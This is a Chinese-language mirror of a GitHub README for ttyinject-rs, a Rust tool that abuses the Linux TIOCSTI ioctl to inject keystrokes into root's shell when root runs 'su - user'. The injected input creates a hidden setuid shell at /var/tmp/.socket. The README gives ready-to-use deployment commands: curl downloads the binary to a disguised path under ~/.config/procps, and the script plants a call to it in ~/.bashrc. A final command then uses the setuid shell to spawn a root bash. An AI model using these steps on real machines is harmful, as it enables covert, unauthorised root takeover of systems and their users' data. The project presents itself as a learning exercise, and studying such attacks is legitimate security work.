0xdea/ttyinject-rs

GitHub: 0xdea/ttyinject-rs

利用 Linux TIOCSTI ioctl 终端注入漏洞实现本地提权的 Rust 工具,在 root 执行 su 切换用户时注入命令获取 root 权限。

Stars: 11 | Forks: 0

# ttyinject-rs [![](https://img.shields.io/github/stars/0xdea/ttyinject-rs.svg?style=flat&color=yellow)](https://github.com/0xdea/ttyinject-rs) [![](https://img.shields.io/crates/v/ttyinject-rs?style=flat&color=green)](https://crates.io/crates/ttyinject-rs) [![](https://img.shields.io/crates/d/ttyinject-rs?style=flat&color=red)](https://crates.io/crates/ttyinject-rs) [![](https://img.shields.io/badge/twitter-%400xdea-blue.svg)](https://twitter.com/0xdea) [![](https://img.shields.io/badge/mastodon-%40raptor-purple.svg)](https://infosec.exchange/@raptor) [![build](https://static.pigsec.cn/wp-content/uploads/repos/cas/80/80ad4351734e9414210220a62f09015166697fa94d23b3834d7c9000e8ead3ba.svg)](https://github.com/0xdea/ttyinject-rs/actions/workflows/build.yml) 这是 [@hackerschoice](https://github.com/hackerschoice) 的 [ttyinject](https://github.com/hackerschoice/ttyinject) 向 Rust 的移植版本,作为一次学习练习而创建。这个简单的工具滥用 `TIOCSTI` ioctl,利用 Linux 内核中长期存在的一个 bug(或者说特性?)向终端注入击键。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/97/97ea94fed824039259d2c3cdc849556300aae2c152cbd02a70d9fa8148a51ae4.jpg) ## 它的功能 当 root 用户执行 `su - user` 时,非特权用户可以在 Linux 上获得 root 权限。 ## 工作原理 直接摘自 [ttyinject](https://github.com/hackerschoice/ttyinject) 的 README: - `su` 在切换到非特权用户时不会分配新的 tty。 - 因此,非特权用户可以使用 `ioctl(0, TIOCSTI, ...)` 向 root 的 shell 提示符注入输入。 - 注入的输入会将 `/bin/sh` 复制到 `/var/tmp/.socket` 并对其执行 `chmod +s`。 - 仅执行一次(从 Alice 的 `~/.bashrc` 中)。执行后会自动删除。 ## 另请参阅 - ## 用法 TODO 按如下方式将 ttyinject-rs 部署在用户的 `~/.bashrc` 中: ``` mkdir -p ~/.config/procps 2>/dev/null #curl -o ~/.config/procps/reset -fsSL "https://github.com/0xdea/ttyinject/releases/download/v1.1/ttyinject-linux-$(uname -m)" \ #&& chmod 755 ~/.config/procps/reset \ #&& if grep -qFm1 'procps/reset' ~/.bashrc; then echo >&2 "Already installed in ~/.bashrc"; else \ #echo "$(head -n1 ~/.bashrc)"$'\n'"~/.config/procps/reset 2>/dev/null"$'\n'"$(tail -n +2 ~/.bashrc)" >~/.bashrc; fi ``` 然后,等待 root 用户执行 `su - user`,之后就可以通过以下方式获取 root 权限: ``` /var/tmp/.socket -p -c "exec python3 -c \"import os;os.setuid(0);os.setgid(0);os.execl('/bin/bash', '-bash')\"" ``` ## 兼容性 已在 Ubuntu Linux 24.04.4 LTS(6.17.0-35-generic #35~24.04.1-Ubuntu 内核,且明确启用了 `dev.tty.legacy_tiocsti`)上进行了测试。 ## 更新日志 - [CHANGELOG.md](https://github.com/0xdea/ttyinject-rs/blob/master/CHANGELOG.md) ## 待办事项 - 实现参数(例如,自定义命令和要清除的屏幕行数)以供高级使用。
标签:Rust, TIOCSTI注入, Web报告查看器, 协议分析, 可视化界面, 权限提升, 网络流量审计, 通知系统